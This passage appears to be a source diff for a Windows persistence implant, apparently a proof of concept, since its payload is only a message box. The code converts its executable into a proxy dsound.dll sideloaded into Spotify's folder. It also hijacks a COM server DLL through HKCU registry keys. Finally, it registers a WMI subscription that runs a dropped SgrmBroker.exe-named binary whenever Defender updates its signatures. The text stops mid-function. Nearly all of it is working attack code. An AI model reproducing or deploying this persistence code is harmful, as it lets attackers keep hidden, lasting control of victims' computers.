||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
// DATA DEFINITIONS
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
|
||||
typedef struct _EXPORT_ENTRY
|
||||
{
|
||||
LPCSTR pszName; // Export Function Name. If Set to NULL, Function is Exported vua Ordinal Only
|
||||
ULONG_PTR uFuncAddress; // RVA of Function. If Set to NULL, The Function is Forwarded
|
||||
WORD wOrdinal; // Ordinal Value. The Value 'INVALID_ORDINAL' Marks End Of Table
|
||||
LPCSTR pszForward; // Forward String (e.g. "NTDLL.RtlAllocateHeap", "NTDLL.#1053"). If Set to NULL, Function is Exported By Name (pszName) or Ordinal (wOrdinal).
|
||||
} EXPORT_ENTRY, *PEXPORT_ENTRY;
|
||||
|
||||
#define EDATA_SECTION_NAME ".edata"
|
||||
#define INVALID_ORDINAL (WORD)(0xFFFFF)
|
||||
#define ALIGN_UP(x, align) (((x) + (align) - 1) & ~((align) - 1))
|
||||
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
// UTILITIES FUNCTIONS
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
|
||||
|
||||
typedef enum _STRING_ENCODING
|
||||
{
|
||||
ENCODING_ANSI_TO_WIDE,
|
||||
ENCODING_WIDE_TO_ANSI,
|
||||
ENCODING_UTF8_TO_WIDE,
|
||||
ENCODING_WIDE_TO_UTF8,
|
||||
ENCODING_ANSI_TO_UTF8,
|
||||
ENCODING_UTF8_TO_ANSI
|
||||
|
||||
} STRING_ENCODING;
|
||||
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
LPVOID ConvertString(IN LPVOID pvSrc, IN INT cbSrc, IN STRING_ENCODING Encoding);
|
||||
|
||||
BOOL ReadFileFromDiskW(IN LPCWSTR szFileName, OUT PBYTE* ppFileBuffer, OUT PDWORD pdwFileSize);
|
||||
|
||||
BOOL WriteFileToDiskW(IN LPCWSTR pszFileName, IN CONST BYTE* pbDataBuffer, IN DWORD dwDataLength);
|
||||
|
||||
BOOL CloneFileTimestampsW(IN LPCWSTR pwszSrcPath, IN LPCWSTR pwszDstPath);
|
||||
|
||||
BOOL SetRegistryStringW(IN HKEY hRoot, IN LPCWSTR pwszPath, IN LPCWSTR pwszName, IN LPCWSTR pwszValue, IN BOOL bOverwrite);
|
||||
|
||||
BOOL SetRegistryDwordW(IN HKEY hRoot, IN LPCWSTR pwszPath, IN LPCWSTR pwszName, IN DWORD dwValue, IN BOOL bOverwrite);
|
||||
|
||||
BOOL GetRegistryDwordW(IN HKEY hRoot, IN LPCWSTR pwszPath, IN LPCWSTR pwszName, OUT PDWORD pdwOutput);
|
||||
|
||||
BOOL DeleteRegistryKeyW(IN HKEY hRoot, IN LPCWSTR pwszPath);
|
||||
|
||||
BOOL GetSystem32PathW(IN LPCWSTR pwszFileName, OUT LPWSTR pwszOutPath, IN DWORD dwOutSize);
|
||||
|
||||
BOOL EnsureDirectoryExistsW(IN LPCWSTR pwszPath, IN BOOL bIsFilePath);
|
||||
|
||||
BOOL CopyFileToDirW(IN LPCWSTR pwszDestPath, IN OPTIONAL LPCWSTR pwszDestName, IN OPTIONAL LPCWSTR pwszSrcPath, IN LPCWSTR pwszSrcName, OUT OPTIONAL LPWSTR pwszOutFullPath, IN OPTIONAL DWORD dwOutFullPathSize);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
// PERSISTENCE FUNCTIONS
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
BOOL ConvertExecutableToDll(IN LPCSTR pszOriginalDllPath, IN LPCSTR pszCopiedDllName, IN ULONG_PTR uDllMain, OUT PBYTE* ppDllBuffer, OUT DWORD* pdwDllFileSize);
|
||||
|
||||
BOOL VerifyOrCreateRegistryFlag(IN HKEY hRoot, IN LPCWSTR pwszPath, IN LPCWSTR pwszName, IN DWORD dwExpectedValue, OUT OPTIONAL BOOL* pbAlreadyExisted);
|
||||
|
||||
BOOL AcquirePayloadMutex(OUT HANDLE* phMutex);
|
||||
|
||||
VOID ReleasePayloadMutex(IN HANDLE hMutex);
|
||||
|
||||
BOOL DropExecutableForWmi();
|
||||
|
||||
BOOL InstallComHijack(IN BYTE* pDllFileBuffer, IN DWORD dwDllFileSize);
|
||||
|
||||
BOOL DropSideloadDlls(IN BYTE* pDllFileBuffer, IN DWORD dwDllFileSize);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
// MACROS
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
|
||||
#ifdef __cplusplus
|
||||
|
||||
#define HEAP_ALLOC(ptr, size) \
|
||||
do { \
|
||||
(ptr) = (decltype(ptr))HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (size)); \
|
||||
if (!(ptr)) DBG_LAST_ERROR("HeapAlloc"); \
|
||||
} while (0)
|
||||
|
||||
#define HEAP_REALLOC(ptr, size) \
|
||||
do { \
|
||||
LPVOID _pTmp = HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (LPVOID)(ptr), (size)); \
|
||||
if (!_pTmp) { DBG_LAST_ERROR("HeapReAlloc"); } \
|
||||
else { (ptr) = (decltype(ptr))_pTmp; } \
|
||||
} while (0)
|
||||
|
||||
|
||||
#else //!__cplusplus
|
||||
|
||||
#define HEAP_ALLOC(ptr, size) \
|
||||
do { \
|
||||
(ptr) = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (size)); \
|
||||
if (!(ptr)) DBG_LAST_ERROR("HeapAlloc"); \
|
||||
} while (0)
|
||||
|
||||
#define HEAP_REALLOC(ptr, size) \
|
||||
do { \
|
||||
LPVOID _pTmp = HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (LPVOID)(ptr), (size)); \
|
||||
if (!_pTmp) { DBG_LAST_ERROR("HeapReAlloc"); } \
|
||||
else { (ptr) = _pTmp; } \
|
||||
} while (0)
|
||||
|
||||
#endif // __cplusplus
|
||||
|
||||
|
||||
#define BSTR_LITERAL(s) (BSTR)(s)
|
||||
|
||||
#define SAFE_FREE_BSTR(bstr) \
|
||||
if (bstr) \
|
||||
{ \
|
||||
SysFreeString((BSTR)(bstr)); \
|
||||
bstr = NULL; \
|
||||
}
|
||||
|
||||
#define HEAP_FREE(ptr) \
|
||||
do { \
|
||||
if (ptr) { \
|
||||
HeapFree(GetProcessHeap(), 0, (LPVOID)(ptr)); \
|
||||
(ptr) = 0x00; \
|
||||
} \
|
||||
} while (0)
|
||||
|
||||
#define HEAP_SECURE_FREE(ptr, size) \
|
||||
do { \
|
||||
if (ptr) { \
|
||||
SecureZeroMemory((PVOID)(ptr), (size)); \
|
||||
HeapFree(GetProcessHeap(), 0, (LPVOID)(ptr)); \
|
||||
(ptr) = 0x00; \
|
||||
} \
|
||||
} while (0)
|
||||
|
||||
#define CLOSE_HANDLE(handle) \
|
||||
do { \
|
||||
if ((handle) && (handle) != INVALID_HANDLE_VALUE) { \
|
||||
CloseHandle((handle)); \
|
||||
(handle) = NULL; \
|
||||
} \
|
||||
} while (0)
|
||||
|
||||
|
||||
|
||||
#endif // !HEADERS_H
|
||||
|
||||
@@ -0,0 +1,311 @@
|
||||
#include "Headers.h"
|
||||
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
// GLOBAL VARIABLES
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
|
||||
// Pinned module handle set in DllMain.
|
||||
// This is used by RunMessageBox ("Payload" Function) to identify the DLL name in the message
|
||||
static HMODULE g_hPinnedModule = NULL;
|
||||
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
// HELPERS
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
|
||||
static LPCWSTR GetCurrentImageName(IN OPTIONAL HMODULE hModule)
|
||||
{
|
||||
static WCHAR szDllPath[MAX_PATH] = { 0 };
|
||||
static WCHAR szProcPath[MAX_PATH] = { 0 };
|
||||
|
||||
WCHAR* szTarget = (hModule != NULL) ? szDllPath : szProcPath;
|
||||
|
||||
RtlSecureZeroMemory(szTarget, MAX_PATH * sizeof(WCHAR));
|
||||
|
||||
if (!GetModuleFileNameW(hModule, szTarget, MAX_PATH))
|
||||
return L"<Unknown>";
|
||||
|
||||
return PathFindFileNameW(szTarget);
|
||||
}
|
||||
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
// "Payload" Function
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
|
||||
static DWORD RunMessageBox(IN LPVOID pIsDllPayloadFile)
|
||||
{
|
||||
WCHAR wszCaption[MAX_PATH] = { 0 };
|
||||
WCHAR wszMessage[MAX_PATH] = { 0 };
|
||||
DWORD dwSessionId = WTSGetActiveConsoleSessionId();
|
||||
DWORD dwResponse = 0x00;
|
||||
|
||||
if (pIsDllPayloadFile)
|
||||
{
|
||||
if (wsprintfW(wszCaption, L"Injected Into: %ws", GetCurrentImageName(NULL)) < 0)
|
||||
{
|
||||
DBG_LAST_ERROR("wsprintfW");
|
||||
return 0x00;
|
||||
}
|
||||
|
||||
if (wsprintfW(wszMessage, L"Hello from %ws! (%ld)", GetCurrentImageName(g_hPinnedModule), GetCurrentProcessId()) < 0)
|
||||
{
|
||||
DBG_LAST_ERROR("wsprintfW");
|
||||
return 0x00;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if (wsprintfW(wszCaption, L"Running As: %ws", GetCurrentImageName(NULL)) < 0)
|
||||
{
|
||||
DBG_LAST_ERROR("wsprintfW");
|
||||
return 0x00;
|
||||
}
|
||||
|
||||
if (wsprintfW(wszMessage, L"Hello from %ws! (%ld)", GetCurrentImageName(NULL), GetCurrentProcessId()) < 0)
|
||||
{
|
||||
DBG_LAST_ERROR("wsprintfW");
|
||||
return 0x00;
|
||||
}
|
||||
}
|
||||
|
||||
WTSSendMessageW(
|
||||
WTS_CURRENT_SERVER_HANDLE,
|
||||
dwSessionId,
|
||||
wszCaption, (DWORD)(lstrlenW(wszCaption) * sizeof(WCHAR)),
|
||||
wszMessage, (DWORD)(lstrlenW(wszMessage) * sizeof(WCHAR)),
|
||||
MB_OK | MB_ICONINFORMATION,
|
||||
0,
|
||||
&dwResponse,
|
||||
TRUE
|
||||
);
|
||||
|
||||
return 0x00;
|
||||
}
|
||||
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
// DLL ENTRY POINT LOGIC
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
|
||||
static DWORD WINAPI DllPayloadThread(IN LPVOID lpParameter)
|
||||
{
|
||||
// The module refcount bump taken in DllMain is intentionally never released here —
|
||||
// dropping it would allow the COM host to unload us while still holding pointers
|
||||
// to our forwarded exports, causing the next COM call to fault on unmapped memory.
|
||||
// The kernel releases the refcount automatically when the process exits.
|
||||
UNREFERENCED_PARAMETER(lpParameter);
|
||||
|
||||
static HANDLE hMutexHandle = NULL;
|
||||
static BOOL bAlreadyRanInCurrentProcess = FALSE;
|
||||
|
||||
// if another process already owns the mutex, the payload is already running system-wide and we should not execute again
|
||||
if (AcquirePayloadMutex(&hMutexHandle))
|
||||
{
|
||||
DBG("[!] Payload Already Running In Another Process. Skipping...");
|
||||
return 0x00;
|
||||
}
|
||||
|
||||
// The COM host may unload and reload our DLL multiple times within the same process lifetime
|
||||
// The static flag survives reloads and prevents re-execution in that case.
|
||||
// InterlockedCompareExchange guards against two DllPayloadThread(s) racing if
|
||||
// the COM host loads us on two threads simultaneously.
|
||||
if (InterlockedCompareExchange((LONG*)&bAlreadyRanInCurrentProcess, TRUE, FALSE))
|
||||
{
|
||||
DBG("[!] Payload Already Executed In This Process. Skipping...");
|
||||
return 0x00;
|
||||
}
|
||||
|
||||
RunMessageBox((PVOID)TRUE);
|
||||
|
||||
return 0x00;
|
||||
}
|
||||
|
||||
|
||||
BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)
|
||||
{
|
||||
UNREFERENCED_PARAMETER(hModule);
|
||||
UNREFERENCED_PARAMETER(lpReserved);
|
||||
|
||||
static HMODULE hCurrModule = NULL;
|
||||
HANDLE hThread = NULL;
|
||||
HMODULE hPinnedModule = NULL;
|
||||
|
||||
switch (dwReason)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
{
|
||||
// Bump our own module refcount before spawning the thread.
|
||||
// Without this bump, if the host process calls FreeLibrary while our thread is still
|
||||
// running, the refcount drops to zero and the loader unmaps us, crashing the process.
|
||||
// GetModuleHandleExW with GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS (and without
|
||||
// GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT) increments the module refcount,
|
||||
// guaranteeing the loader cannot unmap our module for as long as we hold this
|
||||
// extra reference. We intentionally never call FreeLibrary on hPinnedModule, and
|
||||
// instead leave the kernel to drop it on process exit.
|
||||
if (!GetModuleHandleExW(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, (LPCWSTR)DllPayloadThread, &hPinnedModule))
|
||||
{
|
||||
DBG_LAST_ERROR("GetModuleHandleExW");
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
hCurrModule = hPinnedModule;
|
||||
g_hPinnedModule = hPinnedModule;
|
||||
|
||||
DisableThreadLibraryCalls(hCurrModule);
|
||||
|
||||
DBG("[*] DLL %ws Attached To PID: %lu | Process: %ws | At: 0x%p",
|
||||
GetCurrentImageName(hCurrModule),
|
||||
GetCurrentProcessId(),
|
||||
GetCurrentImageName(NULL),
|
||||
hCurrModule);
|
||||
|
||||
if (!(hThread = CreateThread(NULL, 0x00, DllPayloadThread, NULL, 0x00, NULL)))
|
||||
{
|
||||
DBG_LAST_ERROR("CreateThread");
|
||||
|
||||
// Thread creation failed, so we have to release the refcount we made.
|
||||
// Without this, the DLL can never be unloaded cleanly by the COM host
|
||||
FreeLibrary(hPinnedModule);
|
||||
}
|
||||
|
||||
CLOSE_HANDLE(hThread);
|
||||
break;
|
||||
}
|
||||
|
||||
case DLL_PROCESS_DETACH:
|
||||
{
|
||||
// Mutex is intentionally not released here.
|
||||
// Releasing on detach would allow re-acquisition on the next
|
||||
// DLL_PROCESS_ATTACH, breaking the mutex guard. The COM host frequently
|
||||
// unloads and reloads DLLs between COM calls, so detach does not mean the
|
||||
// process is exiting. The kernel releases the mutex automatically when the
|
||||
// process truly exits.
|
||||
DBG_CLOSE();
|
||||
break;
|
||||
}
|
||||
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
// EXE ENTRY POINT LOGIC
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
|
||||
int main()
|
||||
{
|
||||
HANDLE hMutex = NULL;
|
||||
PBYTE pDllFileBuffer = NULL;
|
||||
DWORD dwDllFileSize = 0x00;
|
||||
LPSTR pszDllName = NULL,
|
||||
pszSystem32DllPath = NULL;
|
||||
WCHAR wszSystem32DllPath[MAX_PATH] = { 0 };
|
||||
BOOL bAlreadyInstalled = FALSE;
|
||||
|
||||
if (AcquirePayloadMutex(&hMutex))
|
||||
{
|
||||
DBG("[!] Payload Already Running. Exiting...");
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Check if persistence layers were already installed in a previous run.
|
||||
if (!VerifyOrCreateRegistryFlag(HKEY_CURRENT_USER, CONFIG_REG_KEY, CONFIG_REG_VALUE_NAME, CONFIG_REG_VALUE_DATA, &bAlreadyInstalled))
|
||||
return -1;
|
||||
|
||||
if (bAlreadyInstalled)
|
||||
{
|
||||
DBG("[i] Persistence Layers Already Installed, Skipping...");
|
||||
goto _RUN_PAYLOAD;
|
||||
}
|
||||
|
||||
// ==============================================================
|
||||
// LAYER 3 - DLL SIDELOAD
|
||||
// Reads exports from the real dsound.dll in System32, patches our
|
||||
// EXE into a proxy DLL that forwards all calls to dspatial.dll,
|
||||
// then drops both into Spotify's directory.
|
||||
// Spotify loads dsound.dll from its own directory before System32,
|
||||
// so our proxy gets loaded instead of the real one.
|
||||
// ==============================================================
|
||||
|
||||
// Forward DLL name is the renamed copy of the real dsound.dll (dspatial.dll)
|
||||
if (!(pszDllName = (LPSTR)ConvertString((LPVOID)SIDELOAD_FORWARD_DLL, lstrlenW(SIDELOAD_FORWARD_DLL), ENCODING_WIDE_TO_ANSI)))
|
||||
return -1;
|
||||
|
||||
// Resolve the full System32 path of the real dsound.dll to read its exports
|
||||
if (!GetSystem32PathW(SIDELOAD_PAYLOAD_DLL, wszSystem32DllPath, ARRAYSIZE(wszSystem32DllPath)))
|
||||
goto _END_OF_FUNC;
|
||||
|
||||
if (!(pszSystem32DllPath = (LPSTR)ConvertString((LPVOID)wszSystem32DllPath, lstrlenW(wszSystem32DllPath), ENCODING_WIDE_TO_ANSI)))
|
||||
goto _END_OF_FUNC;
|
||||
|
||||
// Patch our EXE into a proxy DLL with dsound.dll's export table, forwarding all calls to dspatial.dll, then drop it into Spotify's directory
|
||||
if (ConvertExecutableToDll(pszSystem32DllPath, pszDllName, (ULONG_PTR)DllMain, &pDllFileBuffer, &dwDllFileSize))
|
||||
DropSideloadDlls(pDllFileBuffer, dwDllFileSize);
|
||||
|
||||
HEAP_FREE(pszDllName);
|
||||
HEAP_FREE(pszSystem32DllPath);
|
||||
HEAP_FREE(pDllFileBuffer);
|
||||
|
||||
// ==============================================================
|
||||
// LAYER 2 - COM HIJACK
|
||||
// Reads exports from Windows.StateRepositoryPS.dll, patches our EXE
|
||||
// into a proxy DLL that forwards all calls to Common.StateRepositoryRM.dll,
|
||||
// then registers it under HKCU so it gets loaded instead of the real one.
|
||||
// HKCU is checked before HKLM by the COM loader, so our DLL wins.
|
||||
// ==============================================================
|
||||
|
||||
// Forward DLL name is the renamed copy of Windows.StateRepositoryPS.dll
|
||||
if (!(pszDllName = (LPSTR)ConvertString((LPVOID)COM_FORWARD_DLL_NAME, lstrlenW(COM_FORWARD_DLL_NAME), ENCODING_WIDE_TO_ANSI)))
|
||||
return -1;
|
||||
|
||||
// Resolve the full System32 path of the real Windows.StateRepositoryPS.dll to read its exports
|
||||
if (!GetSystem32PathW(COM_SYSTEM_DLL_NAME, wszSystem32DllPath, ARRAYSIZE(wszSystem32DllPath)))
|
||||
goto _END_OF_FUNC;
|
||||
|
||||
if (!(pszSystem32DllPath = (LPSTR)ConvertString((LPVOID)wszSystem32DllPath, lstrlenW(wszSystem32DllPath), ENCODING_WIDE_TO_ANSI)))
|
||||
goto _END_OF_FUNC;
|
||||
|
||||
// Patch our EXE into a proxy DLL with Windows.StateRepositoryPS.dll's export table forwarding all calls to Common.StateRepositoryRM.dll, then install the COM hijack registry key
|
||||
if (ConvertExecutableToDll(pszSystem32DllPath, pszDllName, (ULONG_PTR)DllMain, &pDllFileBuffer, &dwDllFileSize))
|
||||
InstallComHijack(pDllFileBuffer, dwDllFileSize);
|
||||
|
||||
HEAP_FREE(pszDllName);
|
||||
HEAP_FREE(pszSystem32DllPath);
|
||||
HEAP_FREE(pDllFileBuffer);
|
||||
|
||||
|
||||
// ==============================================================
|
||||
// LAYER 1 - WMI PERSISTENCE
|
||||
// Copies our EXE to a directory and registers a WMI event
|
||||
// subscription that executes it every time windows defender does
|
||||
// a signature update.
|
||||
// This is done using a registry value change trigger (SignatureUpdateLastAttempted).
|
||||
// Dropped binary is SgrmBroker.exe under System32\wbem\
|
||||
// ==============================================================
|
||||
DropExecutableForWmi();
|
||||
|
||||
_RUN_PAYLOAD:
|
||||
|
||||
RunMessageBox(FALSE);
|
||||
|
||||
_END_OF_FUNC:
|
||||
HEAP_FREE(pszDllName);
|
||||
HEAP_FREE(pszSystem32DllPath);
|
||||
HEAP_FREE(pDllFileBuffer);
|
||||
// Release the mutex
|
||||
ReleasePayloadMutex(hMutex);
|
||||
DBG_CLOSE();
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
// If compiled in "Stripped" mode
|
||||
#if !defined(_DEBUG) && !defined(NDEBUG)
|
||||
void EntryPoint()
|
||||
{
|
||||
INT nResult = main();
|
||||
ExitProcess(nResult);
|
||||
}
|
||||
#endif
|
||||
@@ -0,0 +1,709 @@
|
||||
#include "Headers.h"
|
||||
|
||||
|
||||
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
|
||||
#pragma region PAYLOAD_MANAGEMENT
|
||||
|
||||
static BOOL GetMutexName(OUT LPSTR szMutexName, IN DWORD dwMutexNameLen)
|
||||
{
|
||||
constexpr BYTE TIME_HH = (__TIME__[0] - '0') * 10 + (__TIME__[1] - '0');
|
||||
constexpr BYTE TIME_MM = (__TIME__[3] - '0') * 10 + (__TIME__[4] - '0');
|
||||
constexpr BYTE TIME_SS = (__TIME__[6] - '0') * 10 + (__TIME__[7] - '0');
|
||||
constexpr DWORD64 TIME_SALT = ((DWORD64)TIME_HH << 16) | ((DWORD64)TIME_MM << 8) | TIME_SS;
|
||||
|
||||
WCHAR wszSystemDir[MAX_PATH] = { 0 };
|
||||
WCHAR wszRootDir[0x04] = { 0x00, L':', L'\\', L'\0' };
|
||||
DWORD64 dw64VolumeSerial = 0x00;
|
||||
HRESULT hResult = S_OK;
|
||||
SIZE_T cbDigest = FNV_OFFSET_BASIS;
|
||||
|
||||
if (!GetSystemDirectoryW(wszSystemDir, MAX_PATH))
|
||||
{
|
||||
DBG_LAST_ERROR("GetSystemDirectoryW");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
wszRootDir[0] = wszSystemDir[0];
|
||||
|
||||
if (!GetVolumeInformationW(wszRootDir, NULL, 0, (LPDWORD)&dw64VolumeSerial, NULL, NULL, NULL, 0))
|
||||
{
|
||||
DBG_LAST_ERROR("GetVolumeInformationW");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
auto fnMix = [&](DWORD64 v)
|
||||
{
|
||||
for (int i = 0; i < 8; i++) {
|
||||
cbDigest ^= (v >> (i * 8)) & 0xFF;
|
||||
cbDigest *= FNV_PRIME;
|
||||
}
|
||||
};
|
||||
|
||||
fnMix(dw64VolumeSerial);
|
||||
fnMix(TIME_SALT);
|
||||
|
||||
cbDigest ^= (size_t)TIME_HH * FNV_MUL_HH;
|
||||
cbDigest ^= (size_t)TIME_MM * FNV_MUL_MM;
|
||||
cbDigest ^= (size_t)TIME_SS * FNV_MUL_SS;
|
||||
|
||||
if (wsprintfA(szMutexName, MUTEX_NAME_FMT, (unsigned long long)cbDigest) < 0)
|
||||
{
|
||||
DBG_LAST_ERROR("wsprintfA");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// Returns TRUE if another payload instance is already running (peer detected).
|
||||
// Returns FALSE if this is the first instance, in which the caller owns the mutex and must close it on exit to release the guard
|
||||
BOOL AcquirePayloadMutex(OUT HANDLE* phMutex)
|
||||
{
|
||||
CHAR szMutexName[MAX_PATH] = { 0 };
|
||||
HANDLE hExisting = NULL;
|
||||
SECURITY_ATTRIBUTES SecurityAttr = { 0 };
|
||||
PSECURITY_DESCRIPTOR pSecurityDesc = NULL;
|
||||
DWORD dwLastError = ERROR_SUCCESS;
|
||||
|
||||
if (!GetMutexName(szMutexName, ARRAYSIZE(szMutexName)))
|
||||
return FALSE;
|
||||
|
||||
DBG("[i] Mutex Name of PID (%ld) Is: %s", GetCurrentProcessId(), szMutexName);
|
||||
|
||||
// Apply a Low Integrity Level mandatory label to the security descriptor so that
|
||||
// Low IL processes can open the mutex. Without this, a Low IL caller would receive
|
||||
// ACCESS_DENIED on any cross-IL object access.
|
||||
// SDDL used: S:(ML;;NW;;;LW), where:
|
||||
// S: = SACL
|
||||
// ML = Mandatory Label ace type
|
||||
// NW = No-Write-Up
|
||||
// LW = Low integrity level
|
||||
if (!ConvertStringSecurityDescriptorToSecurityDescriptorA("S:(ML;;NW;;;LW)", SDDL_REVISION_1, &pSecurityDesc, NULL))
|
||||
{
|
||||
DBG_LAST_ERROR("ConvertStringSecurityDescriptorToSecurityDescriptorA");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
SecurityAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
|
||||
SecurityAttr.lpSecurityDescriptor = pSecurityDesc;
|
||||
SecurityAttr.bInheritHandle = FALSE;
|
||||
|
||||
*phMutex = CreateMutexA(&SecurityAttr, TRUE, szMutexName);
|
||||
dwLastError = GetLastError();
|
||||
|
||||
LocalFree(pSecurityDesc);
|
||||
|
||||
if (!*phMutex)
|
||||
{
|
||||
// CreateMutexA may fail with ERROR_ACCESS_DENIED if our process lacks
|
||||
// SeCreateGlobalPrivilege (required to create Global\ namespace objects).
|
||||
// In that case, fall back to OpenMutexA to check if the mutex already exists.
|
||||
// OpenMutexA does not require the SeCreateGlobalPrivilege privilege.
|
||||
if (dwLastError == ERROR_ACCESS_DENIED)
|
||||
{
|
||||
if ((hExisting = OpenMutexA(SYNCHRONIZE, FALSE, szMutexName)) != NULL)
|
||||
{
|
||||
// Mutex exists: another payload process is already running
|
||||
CLOSE_HANDLE(hExisting);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// Mutex does not exist and we cannot create it.
|
||||
// No other process is running, but we cant guard either.
|
||||
DBG_LAST_ERROR("OpenMutexA");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
DBG_LAST_ERROR("CreateMutexA");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (dwLastError == ERROR_ALREADY_EXISTS)
|
||||
{
|
||||
// Mutex already existed before our CreateMutexA call
|
||||
// Another payload process is running
|
||||
CLOSE_HANDLE(*phMutex);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// We own the mutex, no other payload process is running
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
VOID ReleasePayloadMutex(IN HANDLE hMutex)
|
||||
{
|
||||
if (hMutex)
|
||||
{
|
||||
ReleaseMutex(hMutex);
|
||||
CLOSE_HANDLE(hMutex);
|
||||
}
|
||||
}
|
||||
|
||||
#pragma endregion
|
||||
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
|
||||
#pragma region WMI_PERSISTENCE
|
||||
|
||||
|
||||
// IWbemClassObject::Put wrapper for string-typed properties
|
||||
static BOOL SetWbemPropertyString(IN IWbemClassObject* pObj, IN LPCWSTR pszProperty, IN LPCWSTR pszValue)
|
||||
{
|
||||
VARIANT var = { 0 };
|
||||
HRESULT hResult = S_OK;
|
||||
BOOL bResult = FALSE;
|
||||
|
||||
var.vt = VT_BSTR;
|
||||
|
||||
if (!(var.bstrVal = SysAllocString(pszValue)))
|
||||
{
|
||||
DBG_LAST_ERROR("SysAllocString");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
